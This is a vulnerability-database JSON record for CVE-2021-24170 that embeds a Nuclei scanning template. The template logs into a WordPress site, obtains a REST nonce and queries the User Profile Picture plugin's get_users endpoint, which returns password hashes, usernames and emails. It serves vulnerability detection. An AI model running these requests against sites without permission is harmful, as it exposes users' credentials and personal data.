{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-24170/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-24170/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-24170/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-24170/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-24170/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-24170"},"sightings":{"href":"/api/v1/sightings/cve-2021-24170"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-24170.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2021-24170\n\ninfo:\n  name: User Profile Picture < 2.5.0 - Sensitive Information Disclosure\n  author: s4e-io\n  severity: high\n  description: |\n    The REST API endpoint get_users in the User Profile Picture WordPress plugin before 2.5.0 returned more information than was required for its functionality to users with the upload_files capability. This included password hashes, hashed user activation keys, usernames, emails, and other less sensitive information.\n  impact: |\n    Authenticated users with upload_files capability can extract sensitive user information including password hashes, activation keys, usernames, and email addresses via REST API endpoint.\n  remediation: |\n    Update to User Profile Picture version 2.5.0 or later.\n  reference:\n    - https://www.wordfence.com/blog/2021/03/medium-severity-vulnerability-patched-in-user-profile-picture-plugin/\n    - https://wpscan.com/vulnerability/29fc5b0e-0a5f-4484-a1e6-a0a1206726cc/\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-24170\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2021-24170\n    cwe-id: CWE-200\n    epss-score: 0.04788\n    epss-percentile: 0.91539\n    cpe: cpe:2.3:a:cozmoslabs:user_profile_picture:*:*:*:*:*:wordpress:*:*\n  metadata:\n    vendor: cozmoslabs\n    product: user_profile_picture\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/metronet-profile-picture\"\n    publicwww-query: \"/wp-content/plugins/metronet-profile-picture\"\n  tags: cve,cve2021,wp,wp-plugin,wpscan,wordpress,info-leak,authenticated,metronet-profile-picture,vkev,vuln\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'len(body)==0'\n          - 'status_code == 302'\n          - 'contains_all(header, \"wordpress_logged_in_\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php?action=rest-nonce HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body\n        regex:\n          - '[a-z0-9]{10}'\n        internal: true\n\n  - raw:\n      - |\n        POST /index.php?rest_route=/mpp/v2/get_users HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        X-WP-Nonce: {{nonce}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"ID\", \"user_login\", \"user_pass\")'\n          - 'contains(content_type, \"application/json\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a00483046022100c9fd11700e15ecc20fe50daad08325bb9814073ea3f84e95ff89c011f37ae474022100b334ad14bb949b235ad588f7a79baec7ddb6a636b69b0c3728d0391fe9ecf19b:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-24170"}